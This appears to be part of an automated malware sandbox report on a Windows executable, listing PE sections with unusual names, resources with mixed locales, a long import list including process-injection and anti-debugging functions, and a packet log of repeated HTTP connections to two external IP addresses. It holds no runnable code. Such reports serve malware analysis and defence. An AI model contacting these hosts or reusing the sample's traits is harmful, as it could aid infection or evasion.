.data	0x40000	0x10c988	0x1800	False	0.3408203125	data	3.46519187176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.wumened	0x14d000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.kilohe	0x14e000	0xea	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.putohox	0x14f000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x150000	0x8728	0x8800	False	0.595042509191	data	5.83826747573	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x159000	0x465a	0x4800	False	0.344672309028	data	3.68878313517	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x157048	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x157040	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x157050	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x157058	0x2	data	Dutch	Netherlands
CIDAFICUDUROSOTAROM	0x156628	0x6c7	ASCII text, with very long lines, with no line terminators	Assamese	India
VIDIWAYAPENIGU	0x156cf0	0x2fa	ASCII text, with very long lines, with no line terminators	Assamese	India
RT_CURSOR	0x157060	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Dutch	Netherlands
RT_ICON	0x150740	0x6c8	data	Assamese	India
RT_ICON	0x150e08	0x568	GLS_BINARY_LSB_FIRST	Assamese	India
RT_ICON	0x151370	0x10a8	data	Assamese	India
RT_ICON	0x152418	0x988	dBase III DBT, version number 0, next free block index 40	Assamese	India
RT_ICON	0x152da0	0x468	GLS_BINARY_LSB_FIRST	Assamese	India
RT_ICON	0x153258	0x8a8	data	Assamese	India
RT_ICON	0x153b00	0x6c8	data	Assamese	India
RT_ICON	0x1541c8	0x568	GLS_BINARY_LSB_FIRST	Assamese	India
RT_ICON	0x154730	0x10a8	data	Assamese	India
RT_ICON	0x1557d8	0x988	data	Assamese	India
RT_ICON	0x156160	0x468	GLS_BINARY_LSB_FIRST	Assamese	India
RT_STRING	0x157920	0xe4	data	Dutch	Netherlands
RT_STRING	0x157a08	0x3bc	data	Dutch	Netherlands
RT_STRING	0x157dc8	0x6e6	data	Dutch	Netherlands
RT_STRING	0x1584b0	0x1a0	data	Dutch	Netherlands
RT_STRING	0x158650	0xd8	data	Dutch	Netherlands
RT_ACCELERATOR	0x157000	0x10	data	Dutch	Netherlands
RT_ACCELERATOR	0x156ff0	0x10	data	Dutch	Netherlands
RT_GROUP_CURSOR	0x157908	0x14	data	Dutch	Netherlands
RT_GROUP_ICON	0x153208	0x4c	data	Assamese	India
RT_GROUP_ICON	0x1565c8	0x5a	data	Assamese	India
None	0x157020	0xa	data	Dutch	Netherlands
None	0x157030	0xa	data	Dutch	Netherlands
None	0x157010	0xa	data	Dutch	Netherlands

Imports

DLL	Import
KERNEL32.dll	DeactivateActCtx, GetVersionExW, SetConsoleCP, GetConsoleAliasesLengthA, GetDefaultCommConfigA, FindFirstFileExW, GetDriveTypeA, FreeEnvironmentStringsA, SetProcessPriorityBoost, SetVolumeMountPointW, GetLongPathNameW, CopyFileA, TlsGetValue, GetConsoleCursorInfo, SetComputerNameExA, SystemTimeToTzSpecificLocalTime, FindAtomA, ReleaseSemaphore, CallNamedPipeA, CreateMailslotA, BuildCommDCBAndTimeoutsW, VirtualProtect, LoadLibraryA, LocalAlloc, TryEnterCriticalSection, GetCommandLineW, InterlockedDecrement, GetCalendarInfoA, DeleteFileA, CreateActCtxW, CreateRemoteThread, SetSystemTimeAdjustment, SetPriorityClass, WritePrivateProfileStringW, GetProcessHeap, GlobalUnWire, ReadConsoleOutputCharacterW, GetStartupInfoW, GetDiskFreeSpaceExA, GetCPInfoExA, GetWindowsDirectoryW, GetSystemWow64DirectoryW, GetLastError, GetProfileStringW, WriteProfileSectionW, GetProfileStringA, SetLastError, DeleteVolumeMountPointA, DebugBreak, lstrcmpA, ReadFileScatter, SetConsoleMode, GetVersion, GetSystemWindowsDirectoryW, GlobalFindAtomA, FindCloseChangeNotification, GetTapeParameters, SetMailslotInfo, InterlockedExchange, DefineDosDeviceW, FindVolumeMountPointClose, EndUpdateResourceA, WriteConsoleA, GetSystemTimeAdjustment, WritePrivateProfileSectionA, GetPrivateProfileStructW, GetFileAttributesExA, MoveFileW, GetVolumePathNameA, HeapUnlock, lstrcmpW, SetDefaultCommConfigW, GetExitCodeProcess, ResetEvent, GetThreadContext, MoveFileExW, GetProcAddress, GlobalLock, UnregisterWaitEx, BuildCommDCBW, PeekConsoleInputW, GetBinaryTypeW, CreateSemaphoreW, TransmitCommChar, WaitNamedPipeA, GetOverlappedResult, GetPrivateProfileSectionNamesW, FindResourceExW, EnumTimeFormatsW, GetLocalTime, CreateSemaphoreA, FreeEnvironmentStringsW, GetPrivateProfileSectionW, SetFileShortNameA, lstrcpyA, VerLanguageNameW, SetThreadExecutionState, SetSystemTime, LockFile, VerSetConditionMask, GetConsoleAliasA, FlushConsoleInputBuffer, FreeConsole, GetAtomNameW, GetConsoleAliasExesLengthA, WriteConsoleInputW, TransactNamedPipe, EnumDateFormatsA, SetCommState, FileTimeToLocalFileTime, _lopen, GetConsoleAliasExesLengthW, GetWriteWatch, GetModuleHandleW, WriteConsoleOutputCharacterA, GetConsoleMode, HeapFree, OpenMutexA, LocalLock, GetCommMask, SetEndOfFile, FindClose, CreateIoCompletionPort, SetFileApisToANSI, CancelWaitableTimer, GetProcessHandleCount, UnregisterWait, GetConsoleAliasesLengthW, GetCurrentProcessId, lstrcpynA, SetNamedPipeHandleState, GetCompressedFileSizeA, FindNextVolumeMountPointW, GetFullPathNameA, WriteProfileStringA, DeleteAtom, GlobalAddAtomW, AssignProcessToJobObject, QueryDosDeviceW, InitializeCriticalSection, Process32NextW, SetCurrentDirectoryA, GetBinaryTypeA, FindActCtxSectionGuid, TerminateProcess, MoveFileA, RaiseException, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, GetModuleHandleA, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InterlockedIncrement, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, Sleep, ExitProcess, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapDestroy, HeapCreate, VirtualFree, GetModuleFileNameA, WriteFile, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, LoadLibraryW, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, WideCharToMultiByte, LCMapStringA, LCMapStringW, GetLocaleInfoA, SetFilePointer, GetConsoleCP, FlushFileBuffers, SetStdHandle, GetConsoleOutputCP, CloseHandle, CreateFileA
USER32.dll	OemToCharA
ADVAPI32.dll	GetFileSecurityA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
Assamese	India

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 20:22:59.915405035 CET	49756	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:22:59.932780981 CET	80	49756	8.209.70.0	192.168.2.3
Jan 14, 2022 20:22:59.932898998 CET	49756	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:22:59.933075905 CET	49756	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:22:59.933120012 CET	49756	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:22:59.950341940 CET	80	49756	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.055650949 CET	80	49756	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.057493925 CET	49756	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.058983088 CET	49756	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.076292038 CET	80	49756	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.404334068 CET	49757	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.421559095 CET	80	49757	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.421799898 CET	49757	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.421926022 CET	49757	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.421966076 CET	49757	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.439035892 CET	80	49757	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.540153980 CET	80	49757	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.540256023 CET	49757	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.540298939 CET	49757	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.557435036 CET	80	49757	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.573101044 CET	49758	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.590307951 CET	80	49758	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.590866089 CET	49758	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.590945005 CET	49758	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.590986013 CET	49758	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.608042002 CET	80	49758	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.710645914 CET	80	49758	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:00.712507963 CET	49758	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.712786913 CET	49758	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:00.729913950 CET	80	49758	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.049292088 CET	49759	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.066797972 CET	80	49759	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.067893028 CET	49759	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.068022966 CET	49759	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.068043947 CET	49759	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.085340977 CET	80	49759	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.216824055 CET	80	49759	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.216870070 CET	80	49759	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.216945887 CET	49759	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.217155933 CET	49759	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.234585047 CET	80	49759	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.245455980 CET	49760	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.262906075 CET	80	49760	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.266944885 CET	49760	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.267034054 CET	49760	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.269104004 CET	49760	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.284406900 CET	80	49760	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.286267996 CET	80	49760	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.391875982 CET	80	49760	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.391916037 CET	80	49760	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.391983032 CET	49760	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.392239094 CET	49760	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.409379005 CET	80	49760	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.749423027 CET	49761	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.766803980 CET	80	49761	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.766980886 CET	49761	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.767085075 CET	49761	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.767092943 CET	49761	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.784375906 CET	80	49761	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.884358883 CET	80	49761	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.884380102 CET	80	49761	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.884459972 CET	49761	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.884685040 CET	49761	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:01.891863108 CET	49762	80	192.168.2.3	185.186.142.166
Jan 14, 2022 20:23:01.901845932 CET	80	49761	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:01.947247982 CET	80	49762	185.186.142.166	192.168.2.3
Jan 14, 2022 20:23:02.447870970 CET	49762	80	192.168.2.3	185.186.142.166
Jan 14, 2022 20:23:02.503247976 CET	80	49762	185.186.142.166	192.168.2.3
Jan 14, 2022 20:23:03.010678053 CET	49762	80	192.168.2.3	185.186.142.166
Jan 14, 2022 20:23:03.066276073 CET	80	49762	185.186.142.166	192.168.2.3
Jan 14, 2022 20:23:03.391731024 CET	49763	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.409066916 CET	80	49763	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:03.409514904 CET	49763	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.409595013 CET	49763	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.409607887 CET	49763	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.426898003 CET	80	49763	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:03.529458046 CET	80	49763	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:03.529834986 CET	49763	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.530078888 CET	49763	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.547358990 CET	80	49763	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:03.857891083 CET	49764	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.875294924 CET	80	49764	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:03.875619888 CET	49764	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.875988007 CET	49764	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.876041889 CET	49764	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.893177032 CET	80	49764	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:03.893199921 CET	80	49764	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:03.993900061 CET	80	49764	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:03.994010925 CET	49764	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:03.994245052 CET	49764	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.011424065 CET	80	49764	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.295306921 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.312762976 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.313122034 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.313250065 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.372956991 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.414849043 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.414912939 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.414952040 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.414990902 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.415030003 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.415035963 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.415067911 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.415074110 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.415108919 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.415147066 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.415169954 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.415193081 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.415205956 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.415235043 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.415287018 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.432723999 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454582930 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454648972 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454689026 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454710960 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.454730988 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454746008 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.454771996 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454813957 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454854965 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454890966 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.454894066 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454936981 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.454943895 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.454978943 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455018044 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455038071 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.455061913 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455075979 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.455104113 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455144882 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455189943 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455205917 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.455231905 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455250025 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.455274105 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455326080 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455353975 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.455365896 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.455547094 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.472877026 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.472942114 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.472979069 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.473077059 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494155884 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494211912 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494252920 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494291067 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494292974 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494329929 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494329929 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494371891 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494410038 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494429111 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494450092 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494472980 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494489908 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494528055 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494568110 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494585037 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494607925 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494621992 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494648933 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494689941 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494726896 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494733095 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494766951 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494796991 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494806051 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494844913 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494873047 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.494884014 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494921923 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494961977 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.494968891 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495002985 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495013952 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495042086 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495081902 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495121956 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495136023 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495162010 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495174885 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495203018 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495242119 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495281935 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495297909 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495321989 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495337963 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495359898 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495398998 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495439053 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495461941 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495476961 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495507002 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495517015 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495557070 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495569944 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495596886 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495637894 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495675087 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495692968 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495716095 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495733976 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495757103 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495794058 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495832920 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.495846033 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.495881081 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.513200998 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534076929 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534131050 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534173965 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534182072 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534213066 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534241915 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534251928 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534291983 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534305096 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534332991 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534372091 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534411907 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534427881 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534450054 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534471035 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534490108 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534529924 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534567118 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534581900 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534605980 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534614086 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534645081 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534686089 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534725904 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534742117 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534763098 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534780025 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534804106 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534842968 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534879923 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534897089 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534919977 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534935951 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.534957886 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.534996986 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535036087 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535049915 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535073042 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535087109 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535113096 CET	80	49765	8.209.70.0	192.168.2.3
